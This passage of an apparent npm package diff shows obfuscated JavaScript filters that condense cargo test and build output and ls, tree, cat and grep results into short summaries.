_0x510120=parseInt(_0xb15d9b(0xd0))/0x1*(-parseInt(_0xb15d9b(0xd2))/0x2)+parseInt(_0xb15d9b(0xbb))/0x3*(parseInt(_0xb15d9b(0xa8))/0x4)+parseInt(_0xb15d9b(0xa1))/0x5+parseInt(_0xb15d9b(0xbf))/0x6+parseInt(_0xb15d9b(0xae))/0x7+-parseInt(_0xb15d9b(0xb7))/0x8+-parseInt(_0xb15d9b(0xba))/0x9*(parseInt(_0xb15d9b(0xb2))/0xa);if(_0x510120===_0x4b7e6c)break;else _0x3e0bbb['push'](_0x3e0bbb['shift']());}catch(_0x576002){_0x3e0bbb['push'](_0x3e0bbb['shift']());}}}(a0_0x31b6,0x1f6d7));Object[a0_0x282674(0x9e)](exports,a0_0x282674(0xcb),{'value':!![]}),exports[a0_0x282674(0xc4)]=filterCargoTest,exports[a0_0x282674(0xa0)]=filterCargoBuild;function filterCargoTest(_0x469694){const _0x3b9f4f=a0_0x282674,_0x55d564=_0x469694['split']('\x0a');let _0x6e7501=0x0,_0x5711b3=0x0,_0xd5faa4=0x0,_0x1f31d0=0x0;const _0x314ef1=[];let _0x3b6d64=![],_0x4a7d9c=[];for(const _0x5a7f5c of _0x55d564){const _0x2a7a3a=_0x5a7f5c[_0x3b9f4f(0xce)](),_0x34f3c2=_0x2a7a3a[_0x3b9f4f(0xab)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x34f3c2){_0x6e7501+=parseInt(_0x34f3c2[0x2]),_0x5711b3+=parseInt(_0x34f3c2[0x3]),_0xd5faa4+=parseInt(_0x34f3c2[0x4]),_0x1f31d0+=parseInt(_0x34f3c2[0x5]);continue;}if(_0x2a7a3a==='failures:'||_0x2a7a3a===_0x3b9f4f(0xb5)){_0x3b6d64=!![];continue;}if(_0x3b6d64){if(_0x2a7a3a[_0x3b9f4f(0xc8)](_0x3b9f4f(0xc0))&&_0x2a7a3a['endsWith'](_0x3b9f4f(0xc1))){if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c[_0x3b9f4f(0xc2)]('\x0a'));_0x4a7d9c=[_0x2a7a3a['replace'](/^-+\s*/,'')[_0x3b9f4f(0xa2)](/\s*-+$/,'')];}else{if(_0x2a7a3a===_0x3b9f4f(0xbd)||_0x2a7a3a[_0x3b9f4f(0xc8)](_0x3b9f4f(0xb0))){if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c['join']('\x0a'));_0x4a7d9c=[],_0x3b6d64=![];}else _0x2a7a3a[_0x3b9f4f(0xa4)]>0x0&&_0x4a7d9c['push'](_0x5a7f5c);}}}if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c[_0x3b9f4f(0xc2)]('\x0a'));if(_0x6e7501===0x0&&_0x5711b3===0x0&&_0xd5faa4===0x0){if(_0x469694[_0x3b9f4f(0xaa)]('test\x20result:\x20ok'))return _0x3b9f4f(0xaf);return _0x469694;}if(_0x5711b3===0x0){const _0x46be46=[_0x3b9f4f(0xa3)+_0x6e7501+_0x3b9f4f(0xca)];if(_0xd5faa4>0x0)_0x46be46[_0x3b9f4f(0xb1)](_0xd5faa4+'\x20ignored');return _0x46be46[_0x3b9f4f(0xc2)](',\x20');}const _0x2e507b=[_0x3b9f4f(0xa3)+_0x6e7501+'\x20passed,\x20'+_0x5711b3+_0x3b9f4f(0xbc)+_0xd5faa4+_0x3b9f4f(0xb6)];if(_0x314ef1['length']>0x0){_0x2e507b[_0x3b9f4f(0xb1)]('\x0aFailures:');const _0x5309bd=0x3;for(let _0x28dd47=0x0;_0x28dd47<Math[_0x3b9f4f(0x9f)](_0x314ef1['length'],_0x5309bd);_0x28dd47++){const _0x25cb19=_0x314ef1[_0x28dd47][_0x3b9f4f(0xbe)]('\x0a');_0x2e507b[_0x3b9f4f(0xb1)]('\x20\x20'+(_0x28dd47+0x1)+'.\x20'+_0x25cb19[0x0]);const _0x2cd658=_0x25cb19[_0x3b9f4f(0xd1)](0x1),_0x5322ce=_0x2cd658['filter'](_0x91eb5c=>_0x91eb5c['trim']()[_0x3b9f4f(0xc8)](_0x3b9f4f(0xcf))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xb9))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xad))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xc7))||_0x91eb5c['includes'](_0x3b9f4f(0xc5)));for(const _0x47bf2b of _0x5322ce[_0x3b9f4f(0xd1)](0x0,0x5)){_0x2e507b['push'](_0x3b9f4f(0xc9)+_0x47bf2b[_0x3b9f4f(0xce)]());}}_0x314ef1[_0x3b9f4f(0xa4)]>_0x5309bd&&_0x2e507b[_0x3b9f4f(0xb1)]('\x20\x20...\x20+'+(_0x314ef1[_0x3b9f4f(0xa4)]-_0x5309bd)+'\x20more\x20failures');}return _0x2e507b[_0x3b9f4f(0xc2)]('\x0a');}function filterCargoBuild(_0x2c59ae){const _0x3874be=a0_0x282674,_0xe87cf3=_0x2c59ae[_0x3874be(0xbe)]('\x0a'),_0x7e3236=[],_0x1c3322=[];let _0x751bb5=0x0;for(const _0x4831fb of _0xe87cf3){const _0x206c87=_0x4831fb['trim']();if(_0x206c87['startsWith']('Compiling\x20'))_0x751bb5++;else{if(_0x206c87['startsWith'](_0x3874be(0xa7))||_0x206c87[_0x3874be(0xc8)](_0x3874be(0xcc)))_0x7e3236[_0x3874be(0xb1)](_0x206c87);else{if(_0x206c87[_0x3874be(0xc8)](_0x3874be(0xb4))||_0x206c87[_0x3874be(0xc8)](_0x3874be(0xac)))_0x1c3322[_0x3874be(0xb1)](_0x206c87);}}}if(_0x1c3322[_0x3874be(0xa4)]===0x0&&_0x7e3236[_0x3874be(0xa4)]===0x0)return _0x751bb5>0x0?_0x3874be(0xb3)+_0x751bb5+_0x3874be(0xd3):_0x2c59ae[_0x3874be(0xce)]();const _0x39789a=[];if(_0x1c3322[_0x3874be(0xa4)]>0x0){_0x39789a[_0x3874be(0xb1)](_0x3874be(0xc6)+_0x1c3322[_0x3874be(0xa4)]+'\x20errors,\x20'+_0x7e3236[_0x3874be(0xa4)]+'\x20warnings'),_0x39789a[_0x3874be(0xb1)](_0x3874be(0xcd));for(const _0x1a4b64 of _0x1c3322[_0x3874be(0xd1)](0x0,0x5))_0x39789a['push']('\x20\x20'+_0x1a4b64);if(_0x1c3322[_0x3874be(0xa4)]>0x5)_0x39789a[_0x3874be(0xb1)](_0x3874be(0xc3)+(_0x1c3322['length']-0x5)+_0x3874be(0xa5));}else _0x39789a[_0x3874be(0xb1)](_0x3874be(0xb3)+_0x751bb5+'\x20crates,\x20'+_0x7e3236['length']+_0x3874be(0xb8));if(_0x7e3236[_0x3874be(0xa4)]>0x0&&_0x7e3236['length']<=0x5){_0x39789a[_0x3874be(0xb1)](_0x3874be(0xa6));for(const _0x4bc686 of _0x7e3236)_0x39789a[_0x3874be(0xb1)]('\x20\x20'+_0x4bc686);}else _0x7e3236[_0x3874be(0xa4)]>0x5&&_0x39789a[_0x3874be(0xb1)]('\x0a('+_0x7e3236[_0x3874be(0xa4)]+_0x3874be(0xa9));return _0x39789a[_0x3874be(0xc2)]('\x0a');}
1
+ 'use strict';const a0_0x48514f=a0_0x1245;(function(_0x2dfd52,_0x260c28){const _0x190389=a0_0x1245,_0x4c8d31=_0x2dfd52();while(!![]){try{const _0x5050e5=-parseInt(_0x190389(0x1d6))/0x1*(-parseInt(_0x190389(0x1c9))/0x2)+-parseInt(_0x190389(0x1c0))/0x3+-parseInt(_0x190389(0x1cf))/0x4*(parseInt(_0x190389(0x1db))/0x5)+parseInt(_0x190389(0x1e3))/0x6+parseInt(_0x190389(0x1e0))/0x7+parseInt(_0x190389(0x1b9))/0x8*(parseInt(_0x190389(0x1c7))/0x9)+-parseInt(_0x190389(0x1de))/0xa*(parseInt(_0x190389(0x1dd))/0xb);if(_0x5050e5===_0x260c28)break;else _0x4c8d31['push'](_0x4c8d31['shift']());}catch(_0x44b11e){_0x4c8d31['push'](_0x4c8d31['shift']());}}}(a0_0x3708,0x96bff));function a0_0x1245(_0x4c133d,_0x1ddc68){_0x4c133d=_0x4c133d-0x1b5;const _0x37087c=a0_0x3708();let _0x124570=_0x37087c[_0x4c133d];return _0x124570;}Object[a0_0x48514f(0x1c5)](exports,a0_0x48514f(0x1c1),{'value':!![]}),exports[a0_0x48514f(0x1e7)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function a0_0x3708(){const _0xf11d42=['defineProperty','\x20\x20\x20\x20','9XjjNcT','\x20crates\x20successfully','2atwjuS','Cargo\x20test:\x20','\x20passed','Cargo:\x20','right:','\x0aWarnings:','8mdsPFh','test\x20result:\x20ok','push','match','replace','----\x20','min','1023301UxGWQn','\x0aFailures:','\x20ignored','----\x20failures\x20----','Compiling\x20','2305410wkbrGz','failures:','1529OgLYLo','116770zEduoA','\x20\x20...\x20+','7489202XmkUYC','error[','Cargo:\x20compiled\x20','4954506jNCBFM','slice','\x20crates,\x20','length','filterCargoTest','startsWith','\x0aErrors:','left:','panicked','8383080YOixgY','assert','filter','join','trim','includes','\x20more\x20failures','2412255SeohuG','__esModule','endsWith','\x20warnings','split'];a0_0x3708=function(){return _0xf11d42;};return a0_0x3708();}function filterCargoTest(_0xa072fc){const _0x5801f3=a0_0x48514f,_0x343f5f=_0xa072fc[_0x5801f3(0x1c4)]('\x0a');let _0x52e7ba=0x0,_0x27943b=0x0,_0x2da94b=0x0,_0x59477f=0x0;const _0xfbd8c3=[];let _0x3b360d=![],_0x1c941a=[];for(const _0x1f1649 of _0x343f5f){const _0x13c5c3=_0x1f1649[_0x5801f3(0x1bd)](),_0x269a5b=_0x13c5c3[_0x5801f3(0x1d2)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x269a5b){_0x52e7ba+=parseInt(_0x269a5b[0x2]),_0x27943b+=parseInt(_0x269a5b[0x3]),_0x2da94b+=parseInt(_0x269a5b[0x4]),_0x59477f+=parseInt(_0x269a5b[0x5]);continue;}if(_0x13c5c3==='failures:'||_0x13c5c3===_0x5801f3(0x1d9)){_0x3b360d=!![];continue;}if(_0x3b360d){if(_0x13c5c3['startsWith'](_0x5801f3(0x1d4))&&_0x13c5c3[_0x5801f3(0x1c2)]('\x20----')){if(_0x1c941a[_0x5801f3(0x1e6)]>0x0)_0xfbd8c3[_0x5801f3(0x1d1)](_0x1c941a['join']('\x0a'));_0x1c941a=[_0x13c5c3[_0x5801f3(0x1d3)](/^-+\s*/,'')[_0x5801f3(0x1d3)](/\s*-+$/,'')];}else{if(_0x13c5c3===_0x5801f3(0x1dc)||_0x13c5c3[_0x5801f3(0x1b5)]('test\x20result:')){if(_0x1c941a[_0x5801f3(0x1e6)]>0x0)_0xfbd8c3[_0x5801f3(0x1d1)](_0x1c941a[_0x5801f3(0x1bc)]('\x0a'));_0x1c941a=[],_0x3b360d=![];}else _0x13c5c3[_0x5801f3(0x1e6)]>0x0&&_0x1c941a[_0x5801f3(0x1d1)](_0x1f1649);}}}if(_0x1c941a[_0x5801f3(0x1e6)]>0x0)_0xfbd8c3['push'](_0x1c941a['join']('\x0a'));if(_0x52e7ba===0x0&&_0x27943b===0x0&&_0x2da94b===0x0){if(_0xa072fc['includes'](_0x5801f3(0x1d0)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0xa072fc;}if(_0x27943b===0x0){const _0x3cc322=[_0x5801f3(0x1ca)+_0x52e7ba+_0x5801f3(0x1cb)];if(_0x2da94b>0x0)_0x3cc322[_0x5801f3(0x1d1)](_0x2da94b+_0x5801f3(0x1d8));return _0x3cc322[_0x5801f3(0x1bc)](',\x20');}const _0x4b637d=[_0x5801f3(0x1ca)+_0x52e7ba+'\x20passed,\x20'+_0x27943b+'\x20failed,\x20'+_0x2da94b+_0x5801f3(0x1d8)];if(_0xfbd8c3[_0x5801f3(0x1e6)]>0x0){_0x4b637d[_0x5801f3(0x1d1)](_0x5801f3(0x1d7));const _0x552656=0x3;for(let _0x90cdd6=0x0;_0x90cdd6<Math[_0x5801f3(0x1d5)](_0xfbd8c3[_0x5801f3(0x1e6)],_0x552656);_0x90cdd6++){const _0x5928a6=_0xfbd8c3[_0x90cdd6][_0x5801f3(0x1c4)]('\x0a');_0x4b637d[_0x5801f3(0x1d1)]('\x20\x20'+(_0x90cdd6+0x1)+'.\x20'+_0x5928a6[0x0]);const _0xc72d01=_0x5928a6['slice'](0x1),_0x38cf55=_0xc72d01[_0x5801f3(0x1bb)](_0x7afc92=>_0x7afc92['trim']()[_0x5801f3(0x1b5)]('thread')||_0x7afc92[_0x5801f3(0x1be)](_0x5801f3(0x1b8))||_0x7afc92[_0x5801f3(0x1be)](_0x5801f3(0x1ba))||_0x7afc92[_0x5801f3(0x1be)](_0x5801f3(0x1b7))||_0x7afc92[_0x5801f3(0x1be)](_0x5801f3(0x1cd)));for(const _0x6ebbeb of _0x38cf55['slice'](0x0,0x5)){_0x4b637d[_0x5801f3(0x1d1)](_0x5801f3(0x1c6)+_0x6ebbeb[_0x5801f3(0x1bd)]());}}_0xfbd8c3[_0x5801f3(0x1e6)]>_0x552656&&_0x4b637d[_0x5801f3(0x1d1)](_0x5801f3(0x1df)+(_0xfbd8c3[_0x5801f3(0x1e6)]-_0x552656)+_0x5801f3(0x1bf));}return _0x4b637d[_0x5801f3(0x1bc)]('\x0a');}function filterCargoBuild(_0x6f673d){const _0x797ede=a0_0x48514f,_0x187f26=_0x6f673d[_0x797ede(0x1c4)]('\x0a'),_0x2f29a3=[],_0x25d5c3=[];let _0x80c7d8=0x0;for(const _0x12197a of _0x187f26){const _0x3f8d0a=_0x12197a['trim']();if(_0x3f8d0a[_0x797ede(0x1b5)](_0x797ede(0x1da)))_0x80c7d8++;else{if(_0x3f8d0a[_0x797ede(0x1b5)]('warning[')||_0x3f8d0a[_0x797ede(0x1b5)]('warning:'))_0x2f29a3[_0x797ede(0x1d1)](_0x3f8d0a);else{if(_0x3f8d0a[_0x797ede(0x1b5)](_0x797ede(0x1e1))||_0x3f8d0a[_0x797ede(0x1b5)]('error:'))_0x25d5c3['push'](_0x3f8d0a);}}}if(_0x25d5c3[_0x797ede(0x1e6)]===0x0&&_0x2f29a3[_0x797ede(0x1e6)]===0x0)return _0x80c7d8>0x0?_0x797ede(0x1e2)+_0x80c7d8+_0x797ede(0x1c8):_0x6f673d[_0x797ede(0x1bd)]();const _0x2c6dc5=[];if(_0x25d5c3[_0x797ede(0x1e6)]>0x0){_0x2c6dc5[_0x797ede(0x1d1)](_0x797ede(0x1cc)+_0x25d5c3[_0x797ede(0x1e6)]+'\x20errors,\x20'+_0x2f29a3[_0x797ede(0x1e6)]+'\x20warnings'),_0x2c6dc5[_0x797ede(0x1d1)](_0x797ede(0x1b6));for(const _0x2f6e37 of _0x25d5c3[_0x797ede(0x1e4)](0x0,0x5))_0x2c6dc5[_0x797ede(0x1d1)]('\x20\x20'+_0x2f6e37);if(_0x25d5c3[_0x797ede(0x1e6)]>0x5)_0x2c6dc5['push'](_0x797ede(0x1df)+(_0x25d5c3[_0x797ede(0x1e6)]-0x5)+'\x20more\x20errors');}else _0x2c6dc5[_0x797ede(0x1d1)](_0x797ede(0x1e2)+_0x80c7d8+_0x797ede(0x1e5)+_0x2f29a3[_0x797ede(0x1e6)]+_0x797ede(0x1c3));if(_0x2f29a3[_0x797ede(0x1e6)]>0x0&&_0x2f29a3['length']<=0x5){_0x2c6dc5[_0x797ede(0x1d1)](_0x797ede(0x1ce));for(const _0xfcb6b2 of _0x2f29a3)_0x2c6dc5[_0x797ede(0x1d1)]('\x20\x20'+_0xfcb6b2);}else _0x2f29a3[_0x797ede(0x1e6)]>0x5&&_0x2c6dc5['push']('\x0a('+_0x2f29a3['length']+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x2c6dc5['join']('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x182c7a=a0_0x470e;function a0_0x152a(){const _0x1b572e=['3840282fpDLKn','Empty\x20directory','\x20more\x20files','includes','keys','...\x20+','10KfPUCT','__esModule','17459684kUuJLj','\x0a...\x20(','10kiqmJO','filterGrep','5664177AYvMLr','filterTree','\x20lines\x20truncated]\x20...\x0a','slice','match','\x20more\x20matches','65936AJgKaZ','1259251FwudBr','\x20matches\x20in\x20this\x20file)','\x20more\x20directories','\x20files)',':\x20...\x20(','split','filter','push','\x20lines\x20total)','16eilbxV','startsWith','\x20directories,\x20','2PerDZD','defineProperty','990848SfmGfZ','filterCat','trim','endsWith','length','2287497CMLJLF','\x0a...\x20[','substring','join'];a0_0x152a=function(){return _0x1b572e;};return a0_0x152a();}(function(_0x5809a8,_0x3d0f34){const _0x1808b9=a0_0x470e,_0x403156=_0x5809a8();while(!![]){try{const _0x3ceb29=-parseInt(_0x1808b9(0x128))/0x1+-parseInt(_0x1808b9(0x135))/0x2*(-parseInt(_0x1808b9(0x13c))/0x3)+parseInt(_0x1808b9(0x137))/0x4*(parseInt(_0x1808b9(0x120))/0x5)+parseInt(_0x1808b9(0x140))/0x6+parseInt(_0x1808b9(0x129))/0x7*(-parseInt(_0x1808b9(0x132))/0x8)+parseInt(_0x1808b9(0x122))/0x9*(parseInt(_0x1808b9(0x11c))/0xa)+-parseInt(_0x1808b9(0x11e))/0xb;if(_0x3ceb29===_0x3d0f34)break;else _0x403156['push'](_0x403156['shift']());}catch(_0x2e45de){_0x403156['push'](_0x403156['shift']());}}}(a0_0x152a,0x7d935));function a0_0x470e(_0x37dba2,_0x31a14e){_0x37dba2=_0x37dba2-0x11c;const _0x152a3a=a0_0x152a();let _0x470ed6=_0x152a3a[_0x37dba2];return _0x470ed6;}Object[a0_0x182c7a(0x136)](exports,a0_0x182c7a(0x11d),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x182c7a(0x123)]=filterTree,exports[a0_0x182c7a(0x138)]=filterCat,exports[a0_0x182c7a(0x121)]=filterGrep;function filterLs(_0x3919d4){const _0x85518f=a0_0x182c7a,_0x2de4cd=_0x3919d4[_0x85518f(0x12e)]('\x0a')[_0x85518f(0x12f)](_0x128440=>_0x128440['trim']()[_0x85518f(0x13b)]>0x0);if(_0x2de4cd['length']===0x0)return _0x85518f(0x141);if(_0x2de4cd[_0x85518f(0x13b)]<=0x1e)return _0x3919d4[_0x85518f(0x139)]();const _0x18590f=[],_0x6577a3=[];for(const _0x2db643 of _0x2de4cd){const _0x431e8e=_0x2db643['trim']();if(_0x431e8e[_0x85518f(0x133)]('total\x20')||_0x431e8e[_0x85518f(0x133)]('d')&&_0x431e8e[_0x85518f(0x143)]('..'))continue;_0x431e8e[_0x85518f(0x13a)]('/')||_0x431e8e[_0x85518f(0x133)]('d')&&_0x431e8e[_0x85518f(0x143)]('\x20')?_0x18590f[_0x85518f(0x130)](_0x431e8e):_0x6577a3[_0x85518f(0x130)](_0x431e8e);}const _0x145f4f=[];return _0x18590f[_0x85518f(0x13b)]>0x0&&(_0x18590f[_0x85518f(0x13b)]<=0xf?_0x145f4f[_0x85518f(0x130)](..._0x18590f):(_0x145f4f[_0x85518f(0x130)](..._0x18590f[_0x85518f(0x125)](0x0,0xa)),_0x145f4f[_0x85518f(0x130)](_0x85518f(0x145)+(_0x18590f['length']-0xa)+_0x85518f(0x12b)))),_0x6577a3['length']>0x0&&(_0x6577a3[_0x85518f(0x13b)]<=0x14?_0x145f4f[_0x85518f(0x130)](..._0x6577a3):(_0x145f4f[_0x85518f(0x130)](..._0x6577a3[_0x85518f(0x125)](0x0,0xf)),_0x145f4f[_0x85518f(0x130)]('...\x20+'+(_0x6577a3[_0x85518f(0x13b)]-0xf)+_0x85518f(0x142)))),_0x145f4f[_0x85518f(0x130)]('\x0a('+_0x18590f[_0x85518f(0x13b)]+_0x85518f(0x134)+_0x6577a3['length']+_0x85518f(0x12c)),_0x145f4f[_0x85518f(0x13f)]('\x0a');}function filterTree(_0x36dfa3){const _0x4521b9=a0_0x182c7a,_0xeb9af0=_0x36dfa3[_0x4521b9(0x12e)]('\x0a');if(_0xeb9af0['length']<=0x32)return _0x36dfa3[_0x4521b9(0x139)]();const _0x50cdcc=[];let _0x1dd5dc=0x0,_0x47dead=0x0,_0x2488c6=0x0;for(const _0xbfc5c7 of _0xeb9af0){const _0x1b0526=_0xbfc5c7['match'](/(\d+)\s+director/),_0xf7dc52=_0xbfc5c7[_0x4521b9(0x126)](/(\d+)\s+file/);if(_0x1b0526)_0x2488c6=parseInt(_0x1b0526[0x1]);if(_0xf7dc52)_0x47dead=parseInt(_0xf7dc52[0x1]);const _0x50c972=(_0xbfc5c7[_0x4521b9(0x126)](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x50c972<=0x4&&(_0x50cdcc['push'](_0xbfc5c7),_0x1dd5dc++);}return _0xeb9af0[_0x4521b9(0x13b)]>_0x50cdcc[_0x4521b9(0x13b)]&&_0x50cdcc['push'](_0x4521b9(0x11f)+_0x2488c6+_0x4521b9(0x134)+_0x47dead+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x50cdcc[_0x4521b9(0x13f)]('\x0a');}function filterCat(_0x584e09){const _0x3e37fa=a0_0x182c7a,_0x89e201=_0x584e09[_0x3e37fa(0x12e)]('\x0a');if(_0x89e201[_0x3e37fa(0x13b)]<=0x64)return _0x584e09;const _0x18e035=[];return _0x18e035[_0x3e37fa(0x130)](..._0x89e201[_0x3e37fa(0x125)](0x0,0x32)),_0x18e035['push'](_0x3e37fa(0x13d)+(_0x89e201['length']-0x50)+_0x3e37fa(0x124)),_0x18e035[_0x3e37fa(0x130)](..._0x89e201[_0x3e37fa(0x125)](-0x1e)),_0x18e035[_0x3e37fa(0x130)]('\x0a('+_0x89e201['length']+_0x3e37fa(0x131)),_0x18e035[_0x3e37fa(0x13f)]('\x0a');}function filterGrep(_0x3010e1){const _0x565ec8=a0_0x182c7a,_0xf3d584=_0x3010e1[_0x565ec8(0x12e)]('\x0a')[_0x565ec8(0x12f)](_0x29e9a6=>_0x29e9a6[_0x565ec8(0x139)]()[_0x565ec8(0x13b)]>0x0);if(_0xf3d584['length']===0x0)return'No\x20matches\x20found';if(_0xf3d584[_0x565ec8(0x13b)]<=0x32)return _0x3010e1[_0x565ec8(0x139)]();const _0x59d8be={},_0x22f9ee=[];for(const _0x2cb1e7 of _0xf3d584){const _0x549f08=_0x2cb1e7['indexOf'](':');if(_0x549f08>0x0&&_0x549f08<0xc8){const _0x1dbf53=_0x2cb1e7[_0x565ec8(0x13e)](0x0,_0x549f08);if(_0x1dbf53['includes']('/')||_0x1dbf53[_0x565ec8(0x143)]('\x5c')||_0x1dbf53[_0x565ec8(0x143)]('.')){if(!_0x59d8be[_0x1dbf53])_0x59d8be[_0x1dbf53]=[];_0x59d8be[_0x1dbf53][_0x565ec8(0x130)](_0x2cb1e7[_0x565ec8(0x13e)](_0x549f08+0x1)[_0x565ec8(0x139)]());continue;}}_0x22f9ee[_0x565ec8(0x130)](_0x2cb1e7);}const _0xba6233=[],_0xc019a9=Object[_0x565ec8(0x144)](_0x59d8be);if(_0xc019a9[_0x565ec8(0x13b)]>0x0){const _0x803ded=0x14,_0x1a33c6=_0xc019a9[_0x565ec8(0x125)](0x0,_0x803ded);for(const _0x31998d of _0x1a33c6){const _0x2112ce=_0x59d8be[_0x31998d];if(_0x2112ce[_0x565ec8(0x13b)]<=0x3)for(const _0x338b81 of _0x2112ce){_0xba6233[_0x565ec8(0x130)](_0x31998d+':\x20'+_0x338b81);}else _0xba6233[_0x565ec8(0x130)](_0x31998d+':\x20'+_0x2112ce[0x0]),_0xba6233[_0x565ec8(0x130)](_0x31998d+_0x565ec8(0x12d)+_0x2112ce[_0x565ec8(0x13b)]+_0x565ec8(0x12a));}_0xc019a9[_0x565ec8(0x13b)]>_0x803ded&&_0xba6233[_0x565ec8(0x130)](_0x565ec8(0x145)+(_0xc019a9[_0x565ec8(0x13b)]-_0x803ded)+'\x20more\x20files\x20with\x20matches');}if(_0x22f9ee['length']>0x0){const _0x4896c4=0x1e;_0xba6233[_0x565ec8(0x130)](..._0x22f9ee[_0x565ec8(0x125)](0x0,_0x4896c4)),_0x22f9ee[_0x565ec8(0x13b)]>_0x4896c4&&_0xba6233[_0x565ec8(0x130)]('...\x20+'+(_0x22f9ee[_0x565ec8(0x13b)]-_0x4896c4)+_0x565ec8(0x127));}const _0x3aa6c4=_0xf3d584[_0x565ec8(0x13b)];return _0xba6233['push']('\x0a('+_0x3aa6c4+'\x20matches\x20across\x20'+(_0xc019a9[_0x565ec8(0x13b)]||'?')+_0x565ec8(0x12c)),_0xba6233[_0x565ec8(0x13f)]('\x0a');}
1
+ 'use strict';const a0_0x5b305e=a0_0x2392;(function(_0xcc0db3,_0x163d61){const _0x5e4bc9=a0_0x2392,_0x56c88c=_0xcc0db3();while(!![]){try{const _0x60f847=parseInt(_0x5e4bc9(0x1f1))/0x1*(parseInt(_0x5e4bc9(0x208))/0x2)+parseInt(_0x5e4bc9(0x1fb))/0x3*(parseInt(_0x5e4bc9(0x1f8))/0x4)+-parseInt(_0x5e4bc9(0x1ef))/0x5+parseInt(_0x5e4bc9(0x201))/0x6*(parseInt(_0x5e4bc9(0x1fe))/0x7)+-parseInt(_0x5e4bc9(0x20a))/0x8+-parseInt(_0x5e4bc9(0x213))/0x9+parseInt(_0x5e4bc9(0x217))/0xa*(-parseInt(_0x5e4bc9(0x1f6))/0xb);if(_0x60f847===_0x163d61)break;else _0x56c88c['push'](_0x56c88c['shift']());}catch(_0x377c7d){_0x56c88c['push'](_0x56c88c['shift']());}}}(a0_0x3360,0xb1d71));Object['defineProperty'](exports,a0_0x5b305e(0x210),{'value':!![]}),exports[a0_0x5b305e(0x215)]=filterLs,exports[a0_0x5b305e(0x206)]=filterTree,exports[a0_0x5b305e(0x20e)]=filterCat,exports[a0_0x5b305e(0x20c)]=filterGrep;function filterLs(_0x2fd9b1){const _0x356a52=a0_0x5b305e,_0x129411=_0x2fd9b1[_0x356a52(0x1f7)]('\x0a')[_0x356a52(0x218)](_0x5c8df4=>_0x5c8df4[_0x356a52(0x212)]()[_0x356a52(0x1fd)]>0x0);if(_0x129411['length']===0x0)return _0x356a52(0x209);if(_0x129411[_0x356a52(0x1fd)]<=0x1e)return _0x2fd9b1[_0x356a52(0x212)]();const _0x133f80=[],_0x2bf8da=[];for(const _0x1afe13 of _0x129411){const _0x2716d5=_0x1afe13[_0x356a52(0x212)]();if(_0x2716d5['startsWith'](_0x356a52(0x1f4))||_0x2716d5[_0x356a52(0x205)]('d')&&_0x2716d5[_0x356a52(0x1f9)]('..'))continue;_0x2716d5[_0x356a52(0x1f2)]('/')||_0x2716d5['startsWith']('d')&&_0x2716d5[_0x356a52(0x1f9)]('\x20')?_0x133f80[_0x356a52(0x1f3)](_0x2716d5):_0x2bf8da[_0x356a52(0x1f3)](_0x2716d5);}const _0x88b99b=[];return _0x133f80[_0x356a52(0x1fd)]>0x0&&(_0x133f80[_0x356a52(0x1fd)]<=0xf?_0x88b99b[_0x356a52(0x1f3)](..._0x133f80):(_0x88b99b[_0x356a52(0x1f3)](..._0x133f80[_0x356a52(0x207)](0x0,0xa)),_0x88b99b['push'](_0x356a52(0x1fa)+(_0x133f80[_0x356a52(0x1fd)]-0xa)+_0x356a52(0x20f)))),_0x2bf8da[_0x356a52(0x1fd)]>0x0&&(_0x2bf8da[_0x356a52(0x1fd)]<=0x14?_0x88b99b[_0x356a52(0x1f3)](..._0x2bf8da):(_0x88b99b[_0x356a52(0x1f3)](..._0x2bf8da['slice'](0x0,0xf)),_0x88b99b[_0x356a52(0x1f3)](_0x356a52(0x1fa)+(_0x2bf8da[_0x356a52(0x1fd)]-0xf)+'\x20more\x20files'))),_0x88b99b['push']('\x0a('+_0x133f80['length']+_0x356a52(0x204)+_0x2bf8da['length']+'\x20files)'),_0x88b99b[_0x356a52(0x211)]('\x0a');}function a0_0x2392(_0xc0a751,_0x3182d7){_0xc0a751=_0xc0a751-0x1ef;const _0x336049=a0_0x3360();let _0x239217=_0x336049[_0xc0a751];return _0x239217;}function filterTree(_0xa3d8d0){const _0x4c90c3=a0_0x5b305e,_0x30b2d2=_0xa3d8d0[_0x4c90c3(0x1f7)]('\x0a');if(_0x30b2d2[_0x4c90c3(0x1fd)]<=0x32)return _0xa3d8d0[_0x4c90c3(0x212)]();const _0x1a9d4f=[];let _0x398d9e=0x0,_0x1b6668=0x0,_0x2fea25=0x0;for(const _0xbce683 of _0x30b2d2){const _0x35aa65=_0xbce683['match'](/(\d+)\s+director/),_0x2175c2=_0xbce683[_0x4c90c3(0x216)](/(\d+)\s+file/);if(_0x35aa65)_0x2fea25=parseInt(_0x35aa65[0x1]);if(_0x2175c2)_0x1b6668=parseInt(_0x2175c2[0x1]);const _0x112c9e=(_0xbce683[_0x4c90c3(0x216)](/^[│├└\s─]+/)||[''])[0x0][_0x4c90c3(0x1fd)];_0x112c9e<=0x4&&(_0x1a9d4f[_0x4c90c3(0x1f3)](_0xbce683),_0x398d9e++);}return _0x30b2d2[_0x4c90c3(0x1fd)]>_0x1a9d4f[_0x4c90c3(0x1fd)]&&_0x1a9d4f['push'](_0x4c90c3(0x1fc)+_0x2fea25+_0x4c90c3(0x204)+_0x1b6668+_0x4c90c3(0x214)),_0x1a9d4f['join']('\x0a');}function a0_0x3360(){const 